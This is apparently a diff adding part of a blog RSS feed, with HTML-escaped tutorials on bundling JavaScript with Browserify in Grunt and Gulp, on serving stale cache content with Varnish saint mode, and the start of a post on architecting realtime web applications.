+ &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;getDate&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;logMonth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;getMonth&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;logDate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;logDate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;logMonth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;logMonth&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Then, you can use it like this:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;dateUtils&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./dateutils&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+&lt;span class="nx"&gt;dateUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;logDate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
+&lt;span class="nx"&gt;dateUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;logMonth&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Or like this:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;logDate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./dateutils&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;logDate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+&lt;span class="nx"&gt;logDate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h2&gt;Integrating Browserify with build tools&lt;/h2&gt;
+
+&lt;p&gt;Once you&amp;#39;re comfortable with Browserify, you&amp;#39;ll probably want to integrate it with your favorite build tool. &lt;/p&gt;
+
+&lt;h3&gt;Browserify and Grunt&lt;/h3&gt;
+
+&lt;p&gt;In Grunt, you&amp;#39;ll use &lt;a href="https://github.com/jmreidy/grunt-browserify"&gt;grunt-browserify&lt;/a&gt;. Here&amp;#39;s a config snippet that builds the bundle, and then watches for changes:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="s1"&gt;&amp;#39;browserify&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="nx"&gt;transform&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;reactify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;extensions&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.jsx&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;alias&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;react:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;// Make React available externally for dev tools&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;client/index.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build/bundle.js&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;production&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="nx"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
+ &lt;span class="p"&gt;},&lt;/span&gt;
+ &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;%= browserify.dev.src %&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="nx"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build/bundle.js&amp;#39;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+&lt;span class="p"&gt;},&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;This config takes advantage of several features, some of which I haven&amp;#39;t mentioned yet. It&amp;#39;s using the &lt;a href="https://github.com/andreypopp/reactify"&gt;reactify&lt;/a&gt; transform to precompile JSX files for use with &lt;a href="http://facebook.github.io/react/"&gt;React&lt;/a&gt;. It instructs browserify to look for &amp;quot;.jsx&amp;quot; extensions so that you don&amp;#39;t have to include them in your require path. It sets the debug flag so that Browserify will generate source maps for effective debugging in development, but overrides that flag in the production target to keep the build lean.&lt;/p&gt;
+
+&lt;p&gt;The &amp;quot;alias&amp;quot; option makes a reqirement available through a global &amp;quot;require&amp;quot; function. This allows you to work with multiple bundles, if you&amp;#39;d like. Here, though, it&amp;#39;s being done so that the React dev tools extension can find React and enable a tab in Chrome. The &amp;quot;alias&amp;quot; setting in the Grunt plugin uses the &lt;code data-syntax="text-only"&gt;bundle.require()&lt;/code&gt; method from Browserify&amp;#39;s API, which is also available with the &amp;quot;-r&amp;quot; flag on the command-line script.&lt;/p&gt;
+
+&lt;h3&gt;Browserify and Gulp&lt;/h3&gt;
+
+&lt;p&gt;The &lt;a href="https://github.com/deepak1556/gulp-browserify"&gt;gulp-browserify&lt;/a&gt; plugin is currently a bit more minimal than its Grunt counterpart, but you can still do everything that you&amp;#39;d like to do by listening for the &amp;quot;prebundle&amp;quot; event and interacting with the bundler API directly.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;browserify&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;gulp-browserify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;gulp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;gulp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;gutil&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;gulp-util&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;rename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;gulp-rename&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+
+
+&lt;span class="nx"&gt;gulp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;browserify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;production&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;gutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;production&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+
+ &lt;span class="nx"&gt;gulp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;index.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;read&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Browserify, and add source maps if this isn&amp;#39;t a production build&lt;/span&gt;
+ &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;browserify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
+ &lt;span class="nx"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;production&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="nx"&gt;transform&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;reactify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
+ &lt;span class="nx"&gt;extensions&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.jsx&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
+ &lt;span class="p"&gt;}))&lt;/span&gt;
+
+ &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;prebundle&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bundler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;// Make React available externally for dev tools&lt;/span&gt;
+ &lt;span class="nx"&gt;bundler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+ &lt;span class="p"&gt;})&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Rename the destination file&lt;/span&gt;
+ &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bundle.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Output to the build directory&lt;/span&gt;
+ &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gulp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;build/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
+&lt;span class="p"&gt;});&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h2&gt;You, too, can Browserify today!&lt;/h2&gt;
+
+&lt;p&gt;Hopefully this guide has illustrated the usefulness of Browserify and helped you get it up and running yourself. If you&amp;#39;ve got questions or comments, let me know below or find me on Twitter &lt;a href="https://twitter.com/bkonkle"&gt;@bkonkle&lt;/a&gt;. Happy coding!&lt;/p&gt;
+</description><pubDate>Mon, 03 Mar 2014 13:10:59 -0600</pubDate><guid>http://lincolnloop.com/blog/untangle-your-javascript-browserify/</guid></item><item><title>Varnish Saint Mode</title><link>http://lincolnloop.com/blog/varnish-saint-mode/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;Varnish &lt;strong&gt;Saint Mode&lt;/strong&gt; is a lesser known gem inside &lt;a href="https://www.varnish-cache.org/docs/3.0/"&gt;varnish&lt;/a&gt; that lets you serve stale content from cache, even when your backend servers are unavailable.&lt;/p&gt;
+
+&lt;p&gt;This article explains how to configure varnish to take advantage of this feature. If you want to follow along, create a directory and add an &lt;code data-syntax="text-only"&gt;index.html&lt;/code&gt;. I am going to use a poor man&amp;#39;s Python web server &lt;code data-syntax="text-only"&gt;python -m SimpleHTTPServer&lt;/code&gt; to serve this directory.&lt;/p&gt;
+
+&lt;p&gt;Here is a simple Varnish config to take advantage of this feature:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="perl"&gt;&lt;span class="c1"&gt;# /etc/varnish/default.vcl&lt;/span&gt;
+
+&lt;span class="n"&gt;backend&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;127.0.0.1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;8000&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saintmode_threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;}&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="k"&gt;sub &lt;/span&gt;&lt;span class="nf"&gt;vcl_recv&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;backend&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;healthy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grace&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;# Accept serving stale object (extend TTL by 6h)&lt;/span&gt;
+ &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grace&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;
+
+&lt;span class="k"&gt;sub &lt;/span&gt;&lt;span class="nf"&gt;vcl_fetch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="c1"&gt;# keep all objects for 6h beyond their TTL&lt;/span&gt;
+ &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;beresp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grace&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+
+ &lt;span class="c1"&gt;# If we fetch a 500, serve stale content instead&lt;/span&gt;
+ &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;beresp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;beresp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;beresp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+ &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;beresp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saintmode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
+ &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;restart&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+ &lt;span class="p"&gt;}&lt;/span&gt;
+&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;The following scenario will let you test the saint mode:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Kick-off the Python web server in the directory you created with &lt;code data-syntax="text-only"&gt;python -m SimpleHTTPServer&lt;/code&gt;. &lt;em&gt;Note: Every 1s varnish is going to probe your backend to determine if it is healthy.&lt;/em&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="text-only"&gt;Serving HTTP on 0.0.0.0 port 8000 ...
+127.0.0.1 - - [17/Feb/2014 11:51:02] &amp;quot;GET / HTTP/1.1&amp;quot; 200 -
+127.0.0.1 - - [17/Feb/2014 11:51:02] &amp;quot;GET / HTTP/1.1&amp;quot; 200 -&lt;/code&gt;&lt;/pre&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Fetch the &lt;code data-syntax="text-only"&gt;index.html&lt;/code&gt; you created earlier through Varnish&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="bash"&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl -I http://127.0.0.1:6081
+HTTP/1.1 200 OK
+Server: SimpleHTTP/0.6 Python/2.7.5+
+Content-type: text/html
+Last-Modified: Mon, 17 Feb 2014 10:19:03 GMT
+Content-Length: 146
+Accept-Ranges: bytes
+Date: Mon, 17 Feb 2014 10:53:07 GMT
+X-Varnish: 976346109
+Age: 0
+Via: 1.1 varnish
+Connection: keep-alive&lt;/code&gt;&lt;/pre&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Now kill the Python web server process and confirm it is down&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="bash"&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl -I http://127.0.0.1:8000
+curl: &lt;span class="o"&gt;(&lt;/span&gt;7&lt;span class="o"&gt;)&lt;/span&gt; Failed connect to 127.0.0.1:8000; Connection refused&lt;/code&gt;&lt;/pre&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Fetch &lt;code data-syntax="text-only"&gt;index.html&lt;/code&gt; through Varnish again&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="bash"&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl -I http://127.0.0.1:6081
+HTTP/1.1 200 OK
+Server: SimpleHTTP/0.6 Python/2.7.5+
+Content-type: text/html
+Last-Modified: Mon, 17 Feb 2014 10:19:03 GMT
+Content-Length: 146
+Accept-Ranges: bytes
+Date: Mon, 17 Feb 2014 10:55:14 GMT
+X-Varnish: 976346113 976346109
+Age: 127
+Via: 1.1 varnish
+Connection: keep-alive&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Note the &lt;code data-syntax="text-only"&gt;Age: 127&lt;/code&gt; header. This tells you the number of seconds since Varnish fetched this page from your web server.&lt;/p&gt;
+
+&lt;p&gt;Congratulations, you&amp;#39;re now serving pages without your webserver! Varnish&amp;#39;s saint mode can be a nice safety net when the unexpected (but inevitable) happens and buy you some time to get things back into working order.&lt;/p&gt;
+</description><pubDate>Thu, 20 Feb 2014 03:00:39 -0600</pubDate><guid>http://lincolnloop.com/blog/varnish-saint-mode/</guid></item><item><title>Lessons Learned Architecting Realtime Applications</title><link>http://lincolnloop.com/blog/architecting-realtime-applications/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;Building realtime applications is a big change from how we&amp;#39;ve built websites in the past. Typically, realtime websites require each client holding open a long-running connection to the server so updates can be pushed down to the client immediately. This is in stark contrast to traditional websites where the aim of the server is to serve a page and quickly free up the connection for the next request. Taking a server or application that is optimized for short-lived connections and slapping on a realtime component simply doesn&amp;#39;t work (for reasons I&amp;#39;ll explain below).&lt;/p&gt;
+
+&lt;p&gt;We built and maintain two real world realtime websites, our IRC logger, &lt;a href="https://botbot.me"&gt;BotBot.me&lt;/a&gt; and our team discussion tool, &lt;a href="https://gingerhq.com"&gt;Ginger&lt;/a&gt;. We intentionally took two very different approaches in building them. The first site, Ginger, was built using a two-process approach. One process handles all of the long-running connections while another serves the API and pages that require server-generated HTML. BotBot.me, on the other hand, does everything using one Django process. After having them both in production for a while, we&amp;#39;ve learned a few things about what works and what doesn&amp;#39;t.&lt;/p&gt;
+
+&lt;h2&gt;The Single Server Approach&lt;/h2&gt;
+
+&lt;p&gt;I&amp;#39;ll start with the simpler approach. BotBot.me&amp;#39;s realtime connections are handled from the same process which generates the server-side HTML pages. We&amp;#39;re using Server Sent Events via &lt;a href="https://github.com/niwibe/django-sse"&gt;django-sse&lt;/a&gt;. SSE is a standardized approach to long-polling and part of the HTML5 spec. Native support in browsers is very good and unsupported browsers can use it via a JavaScript polyfill. Coupled with XHR, SSE gives you a realtime bi-directional communication channel without having to mess with websockets. There are a number reasons why you might &lt;em&gt;not&lt;/em&gt; want to use websockets (see notes below).&lt;/p&gt;
+
